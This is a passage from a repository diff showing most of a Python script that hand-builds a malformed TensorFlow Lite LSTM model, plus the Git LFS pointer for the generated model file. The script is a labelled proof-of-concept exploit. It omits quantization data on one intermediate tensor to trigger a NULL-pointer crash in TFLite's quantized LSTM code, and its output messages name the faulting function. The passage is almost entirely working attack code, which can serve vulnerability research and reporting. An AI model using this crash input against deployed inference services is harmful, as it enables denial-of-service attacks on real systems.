| 166 |
+
b.PrependUint32Slot(2, buf_idx, 0) # buffer
|
| 167 |
+
b.PrependUOffsetTRelativeSlot(3, name_off, 0) # name
|
| 168 |
+
if quant_off:
|
| 169 |
+
b.PrependUOffsetTRelativeSlot(4, quant_off, 0) # quantization
|
| 170 |
+
if is_variable:
|
| 171 |
+
b.PrependBoolSlot(5, True, False) # is_variable
|
| 172 |
+
return b.EndObject()
|
| 173 |
+
|
| 174 |
+
# =========================================================================
|
| 175 |
+
# Shape vectors
|
| 176 |
+
# =========================================================================
|
| 177 |
+
shape_input = make_int_vec([n_batch, n_input]) # [1, 2]
|
| 178 |
+
shape_weight_i = make_int_vec([n_cell, n_input]) # [2, 2]
|
| 179 |
+
shape_weight_r = make_int_vec([n_cell, n_output]) # [2, 2]
|
| 180 |
+
shape_bias = make_int_vec([n_cell]) # [2]
|
| 181 |
+
shape_ostate = make_int_vec([n_batch, n_output]) # [1, 2]
|
| 182 |
+
shape_cstate = make_int_vec([n_batch, n_cell]) # [1, 2]
|
| 183 |
+
shape_output = make_int_vec([n_batch, n_output]) # [1, 2]
|
| 184 |
+
shape_inter = make_int_vec([1]) # [1] minimal
|
| 185 |
+
|
| 186 |
+
# =========================================================================
|
| 187 |
+
# Quantization parameters
|
| 188 |
+
# =========================================================================
|
| 189 |
+
q_input = make_quant(0.1) # input scale
|
| 190 |
+
q_weight = make_quant(0.01) # weight scale
|
| 191 |
+
q_ostate = make_quant(0.1) # output_state scale
|
| 192 |
+
q_cstate = make_quant(1.0 / 32768) # cell_state: must be 1/32768 for 8x8_8
|
| 193 |
+
q_output = make_quant(0.1) # output scale
|
| 194 |
+
q_inter = make_quant(0.01) # intermediate scale (for valid ones)
|
| 195 |
+
|
| 196 |
+
# =========================================================================
|
| 197 |
+
# Build tensors (25 total)
|
| 198 |
+
# =========================================================================
|
| 199 |
+
# Buffer index mapping:
|
| 200 |
+
# 0 = sentinel (always empty)
|
| 201 |
+
# 1 = input (empty, runtime alloc)
|
| 202 |
+
# 2-7 = weight data (need actual bytes)
|
| 203 |
+
# 8-10 = bias data (need actual bytes)
|
| 204 |
+
# 11 = output_state (empty, variable)
|
| 205 |
+
# 12 = cell_state (empty, variable)
|
| 206 |
+
# 13 = output (empty, runtime alloc)
|
| 207 |
+
# 14-25 = intermediates (empty)
|
| 208 |
+
|
| 209 |
+
tensors = []
|
| 210 |
+
|
| 211 |
+
# Tensor 0: input [1,2] INT8 quantized
|
| 212 |
+
tensors.append(make_tensor(tensor_names["input"], shape_input,
|
| 213 |
+
TENSOR_TYPE_INT8, 1, q_input))
|
| 214 |
+
|
| 215 |
+
# Tensors 1-3: input-to-{forget,cell,output} weights [2,2] INT8
|
| 216 |
+
for name in ["i2f_w", "i2c_w", "i2o_w"]:
|
| 217 |
+
tensors.append(make_tensor(tensor_names[name], shape_weight_i,
|
| 218 |
+
TENSOR_TYPE_INT8, len(tensors) + 1, q_weight))
|
| 219 |
+
|
| 220 |
+
# Tensors 4-6: recurrent-to-{forget,cell,output} weights [2,2] INT8
|
| 221 |
+
for name in ["r2f_w", "r2c_w", "r2o_w"]:
|
| 222 |
+
tensors.append(make_tensor(tensor_names[name], shape_weight_r,
|
| 223 |
+
TENSOR_TYPE_INT8, len(tensors) + 1, q_weight))
|
| 224 |
+
|
| 225 |
+
# Tensors 7-9: {forget,cell,output}_gate_bias [2] INT32 (no quant needed)
|
| 226 |
+
for name in ["fg_bias", "cg_bias", "og_bias"]:
|
| 227 |
+
tensors.append(make_tensor(tensor_names[name], shape_bias,
|
| 228 |
+
TENSOR_TYPE_INT32, len(tensors) + 1))
|
| 229 |
+
|
| 230 |
+
# Tensor 10: output_state [1,2] INT8 quantized, VARIABLE
|
| 231 |
+
tensors.append(make_tensor(tensor_names["output_state"], shape_ostate,
|
| 232 |
+
TENSOR_TYPE_INT8, 11, q_ostate, is_variable=True))
|
| 233 |
+
|
| 234 |
+
# Tensor 11: cell_state [1,2] INT16 quantized (scale=1/32768), VARIABLE
|
| 235 |
+
tensors.append(make_tensor(tensor_names["cell_state"], shape_cstate,
|
| 236 |
+
TENSOR_TYPE_INT16, 12, q_cstate, is_variable=True))
|
| 237 |
+
|
| 238 |
+
# Tensor 12: output [1,2] INT8 quantized
|
| 239 |
+
tensors.append(make_tensor(tensor_names["output"], shape_output,
|
| 240 |
+
TENSOR_TYPE_INT8, 13, q_output))
|
| 241 |
+
|
| 242 |
+
# Tensors 13-24: intermediates (12 total)
|
| 243 |
+
# Key: intermediate[0] (tensor 13) has NO quantization -> triggers NULL deref
|
| 244 |
+
for i in range(12):
|
| 245 |
+
if i == 0:
|
| 246 |
+
# NO QUANTIZATION -> this causes the crash
|
| 247 |
+
tensors.append(make_tensor(tensor_names[f"inter_{i}"], shape_inter,
|
| 248 |
+
TENSOR_TYPE_INT16, 14 + i))
|
| 249 |
+
else:
|
| 250 |
+
# Valid quantization
|
| 251 |
+
tensors.append(make_tensor(tensor_names[f"inter_{i}"], shape_inter,
|
| 252 |
+
TENSOR_TYPE_INT16, 14 + i, q_inter))
|
| 253 |
+
|
| 254 |
+
# Tensors vector (must be in order: 0..24)
|
| 255 |
+
b.StartVector(4, len(tensors), 4)
|
| 256 |
+
for t in reversed(tensors):
|
| 257 |
+
b.PrependUOffsetTRelative(t)
|
| 258 |
+
tensors_vec = b.EndVector()
|
| 259 |
+
|
| 260 |
+
# =========================================================================
|
| 261 |
+
# LSTMOptions table
|
| 262 |
+
# =========================================================================
|
| 263 |
+
b.StartObject(5) # LSTMOptions: 5 fields
|
| 264 |
+
b.PrependByteSlot(0, ACTIVATION_NONE, 0) # fused_activation_function
|
| 265 |
+
b.PrependFloat32Slot(1, 0.0, 0.0) # cell_clip
|
| 266 |
+
b.PrependFloat32Slot(2, 0.0, 0.0) # proj_clip
|
| 267 |
+
b.PrependByteSlot(3, LSTM_KERNEL_FULL, 0) # kernel_type = FULL
|
| 268 |
+
b.PrependBoolSlot(4, False, False) # asymmetric_quantize_inputs
|
| 269 |
+
lstm_options = b.EndObject()
|
| 270 |
+
|
| 271 |
+
# =========================================================================
|
| 272 |
+
# Operator
|
| 273 |
+
# =========================================================================
|
| 274 |
+
# LSTM inputs: 24 entries. -1 = optional/absent.
|
| 275 |
+
# Tensor indices: 0=input, 1=i2f_w, 2=i2c_w, 3=i2o_w, 4=r2f_w, 5=r2c_w,
|
| 276 |
+
# 6=r2o_w, 7=fg_bias, 8=cg_bias, 9=og_bias, 10=output_state, 11=cell_state
|
| 277 |
+
op_input_indices = [
|
| 278 |
+
0, # 0: input
|
| 279 |
+
-1, # 1: InputToInputWeights (CIFG mode, absent)
|
| 280 |
+
1, # 2: InputToForgetWeights
|
| 281 |
+
2, # 3: InputToCellWeights
|
| 282 |
+
3, # 4: InputToOutputWeights
|
| 283 |
+
-1, # 5: RecurrentToInputWeights (CIFG, absent)
|
| 284 |
+
4, # 6: RecurrentToForgetWeights
|
| 285 |
+
5, # 7: RecurrentToCellWeights
|
| 286 |
+
6, # 8: RecurrentToOutputWeights
|
| 287 |
+
-1, # 9: CellToInputWeights (absent)
|
| 288 |
+
-1, # 10: CellToForgetWeights (absent)
|
| 289 |
+
-1, # 11: CellToOutputWeights (absent)
|
| 290 |
+
-1, # 12: InputGateBias (CIFG, absent)
|
| 291 |
+
7, # 13: ForgetGateBias
|
| 292 |
+
8, # 14: CellGateBias
|
| 293 |
+
9, # 15: OutputGateBias
|
| 294 |
+
-1, # 16: ProjectionWeights (absent)
|
| 295 |
+
-1, # 17: ProjectionBias (absent)
|
| 296 |
+
10, # 18: OutputState (variable)
|
| 297 |
+
11, # 19: CellState (variable)
|
| 298 |
+
-1, # 20: InputLayerNormCoefficients (absent)
|
| 299 |
+
-1, # 21: ForgetLayerNormCoefficients (absent)
|
| 300 |
+
-1, # 22: CellLayerNormCoefficients (absent)
|
| 301 |
+
-1, # 23: OutputLayerNormCoefficients (absent)
|
| 302 |
+
]
|
| 303 |
+
op_inputs_vec = make_int_vec(op_input_indices)
|
| 304 |
+
op_outputs_vec = make_int_vec([12]) # output tensor
|
| 305 |
+
|
| 306 |
+
# Intermediate tensor indices (tensors 13-24)
|
| 307 |
+
op_intermediates_vec = make_int_vec(list(range(13, 25)))
|
| 308 |
+
|
| 309 |
+
# mutating_variable_inputs: mark inputs 18 (output_state) and 19 (cell_state)
|
| 310 |
+
mutating = [False] * 24
|
| 311 |
+
mutating[18] = True
|
| 312 |
+
mutating[19] = True
|
| 313 |
+
op_mutating_vec = make_bool_vec(mutating)
|
| 314 |
+
|
| 315 |
+
# Operator table: 14 slots (including union type/value split)
|
| 316 |
+
# Slot 0: opcode_index, 1: inputs, 2: outputs,
|
| 317 |
+
# 3: builtin_options_type, 4: builtin_options,
|
| 318 |
+
# 5: custom_options, 6: custom_options_format,
|
| 319 |
+
# 7: mutating_variable_inputs, 8: intermediates, ...
|
| 320 |
+
b.StartObject(14)
|
| 321 |
+
b.PrependUint32Slot(0, 0, 0) # opcode_index = 0
|
| 322 |
+
b.PrependUOffsetTRelativeSlot(1, op_inputs_vec, 0) # inputs
|
| 323 |
+
b.PrependUOffsetTRelativeSlot(2, op_outputs_vec, 0) # outputs
|
| 324 |
+
b.PrependByteSlot(3, BUILTIN_OPTIONS_LSTM, 0) # builtin_options_type
|
| 325 |
+
b.PrependUOffsetTRelativeSlot(4, lstm_options, 0) # builtin_options
|
| 326 |
+
b.PrependUOffsetTRelativeSlot(7, op_mutating_vec, 0) # mutating_variable_inputs
|
| 327 |
+
b.PrependUOffsetTRelativeSlot(8, op_intermediates_vec, 0) # intermediates
|
| 328 |
+
operator = b.EndObject()
|
| 329 |
+
|
| 330 |
+
b.StartVector(4, 1, 4)
|
| 331 |
+
b.PrependUOffsetTRelative(operator)
|
| 332 |
+
operators_vec = b.EndVector()
|
| 333 |
+
|
| 334 |
+
# =========================================================================
|
| 335 |
+
# SubGraph
|
| 336 |
+
# =========================================================================
|
| 337 |
+
sg_inputs = make_int_vec([0]) # model input: tensor 0
|
| 338 |
+
sg_outputs = make_int_vec([12]) # model output: tensor 12
|
| 339 |
+
|
| 340 |
+
b.StartObject(5) # SubGraph: 5 fields
|
| 341 |
+
b.PrependUOffsetTRelativeSlot(0, tensors_vec, 0) # tensors
|
| 342 |
+
b.PrependUOffsetTRelativeSlot(1, sg_inputs, 0) # inputs
|
| 343 |
+
b.PrependUOffsetTRelativeSlot(2, sg_outputs, 0) # outputs
|
| 344 |
+
b.PrependUOffsetTRelativeSlot(3, operators_vec, 0) # operators
|
| 345 |
+
b.PrependUOffsetTRelativeSlot(4, s_main, 0) # name
|
| 346 |
+
subgraph = b.EndObject()
|
| 347 |
+
|
| 348 |
+
b.StartVector(4, 1, 4)
|
| 349 |
+
b.PrependUOffsetTRelative(subgraph)
|
| 350 |
+
subgraphs_vec = b.EndVector()
|
| 351 |
+
|
| 352 |
+
# =========================================================================
|
| 353 |
+
# OperatorCode
|
| 354 |
+
# =========================================================================
|
| 355 |
+
b.StartObject(4) # OperatorCode: 4 fields
|
| 356 |
+
b.PrependByteSlot(0, BUILTIN_OP_LSTM, 0) # deprecated_builtin_code
|
| 357 |
+
b.PrependInt32Slot(2, 1, 1) # version
|
| 358 |
+
b.PrependInt32Slot(3, BUILTIN_OP_LSTM, 0) # builtin_code
|
| 359 |
+
op_code = b.EndObject()
|
| 360 |
+
|
| 361 |
+
b.StartVector(4, 1, 4)
|
| 362 |
+
b.PrependUOffsetTRelative(op_code)
|
| 363 |
+
opcodes_vec = b.EndVector()
|
| 364 |
+
|
| 365 |
+
# =========================================================================
|
| 366 |
+
# Buffers
|
| 367 |
+
# =========================================================================
|
| 368 |
+
# Total: 26 buffers (0=sentinel, 1=input, 2-7=weights, 8-10=biases,
|
| 369 |
+
# 11=output_state, 12=cell_state, 13=output, 14-25=intermediates)
|
| 370 |
+
#
|
| 371 |
+
# Weights (INT8 [n_cell, n_input] = [2,2] = 4 bytes each): buffers 2-7
|
| 372 |
+
# Biases (INT32 [n_cell] = [2] = 8 bytes each): buffers 8-10
|
| 373 |
+
# All others: empty (runtime allocated)
|
| 374 |
+
|
| 375 |
+
weight_data = bytes(n_cell * n_input) # 4 zero bytes for INT8 [2,2]
|
| 376 |
+
bias_data = bytes(n_cell * 4) # 8 zero bytes for INT32 [2]
|
| 377 |
+
|
| 378 |
+
# Pre-build data vectors for non-empty buffers
|
| 379 |
+
data_vecs = {}
|
| 380 |
+
for buf_idx in range(2, 8): # weight buffers
|
| 381 |
+
b.StartVector(1, len(weight_data), 1)
|
| 382 |
+
for byte in reversed(weight_data):
|
| 383 |
+
b.PrependByte(byte)
|
| 384 |
+
data_vecs[buf_idx] = b.EndVector()
|
| 385 |
+
|
| 386 |
+
for buf_idx in range(8, 11): # bias buffers
|
| 387 |
+
b.StartVector(1, len(bias_data), 1)
|
| 388 |
+
for byte in reversed(bias_data):
|
| 389 |
+
b.PrependByte(byte)
|
| 390 |
+
data_vecs[buf_idx] = b.EndVector()
|
| 391 |
+
|
| 392 |
+
# Build buffer tables
|
| 393 |
+
bufs = []
|
| 394 |
+
for buf_idx in range(26):
|
| 395 |
+
if buf_idx in data_vecs:
|
| 396 |
+
b.StartObject(1)
|
| 397 |
+
b.PrependUOffsetTRelativeSlot(0, data_vecs[buf_idx], 0)
|
| 398 |
+
bufs.append(b.EndObject())
|
| 399 |
+
else:
|
| 400 |
+
b.StartObject(1)
|
| 401 |
+
bufs.append(b.EndObject())
|
| 402 |
+
|
| 403 |
+
b.StartVector(4, 26, 4)
|
| 404 |
+
for buf in reversed(bufs):
|
| 405 |
+
b.PrependUOffsetTRelative(buf)
|
| 406 |
+
buffers_vec = b.EndVector()
|
| 407 |
+
|
| 408 |
+
# =========================================================================
|
| 409 |
+
# Model (root table)
|
| 410 |
+
# =========================================================================
|
| 411 |
+
b.StartObject(8) # Model: 8 fields
|
| 412 |
+
b.PrependUint32Slot(0, TFLITE_SCHEMA_VERSION, 0) # version
|
| 413 |
+
b.PrependUOffsetTRelativeSlot(1, opcodes_vec, 0) # operator_codes
|
| 414 |
+
b.PrependUOffsetTRelativeSlot(2, subgraphs_vec, 0) # subgraphs
|
| 415 |
+
b.PrependUOffsetTRelativeSlot(4, buffers_vec, 0) # buffers
|
| 416 |
+
model = b.EndObject()
|
| 417 |
+
|
| 418 |
+
b.Finish(model, b"TFL3")
|
| 419 |
+
buf = bytes(b.Output())
|
| 420 |
+
|
| 421 |
+
with open(output_path, 'wb') as f:
|
| 422 |
+
f.write(buf)
|
| 423 |
+
|
| 424 |
+
print(f"[+] Model written: {output_path} ({len(buf)} bytes)")
|
| 425 |
+
print(f"[+] LSTM config: n_batch={n_batch}, n_input={n_input}, "
|
| 426 |
+
f"n_cell={n_cell}, n_output={n_output}")
|
| 427 |
+
print(f"[+] 12 intermediate tensors (8x8->8 quantized LSTM path)")
|
| 428 |
+
print(f"[+] intermediate[0] has NO quantization params -> NULL deref")
|
| 429 |
+
print(f"[+] Bug location: lstm.cc PopulateQuantizedLstmParams8x8_8()")
|
| 430 |
+
print(f"[+] auto* params = reinterpret_cast<TfLiteAffineQuantization*>(")
|
| 431 |
+
print(f"[+] intermediate->quantization.params); // NULL!")
|
| 432 |
+
print(f"[+] params->scale->data[0]; // SIGSEGV")
|
| 433 |
+
|
| 434 |
+
|
| 435 |
+
if __name__ == "__main__":
|
| 436 |
+
out = os.path.join(os.path.dirname(os.path.abspath(__file__)),
|
| 437 |
+
"poc_lstm_null_deref.tflite")
|
| 438 |
+
create_poc_model(out)
|
poc_lstm_null_deref.tflite
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:92b6873916f14d3f918f5ca46e55a4cb713e9087c51d2b823211a0a0e7c1c7a4
|
| 3 |
+
size 2224
|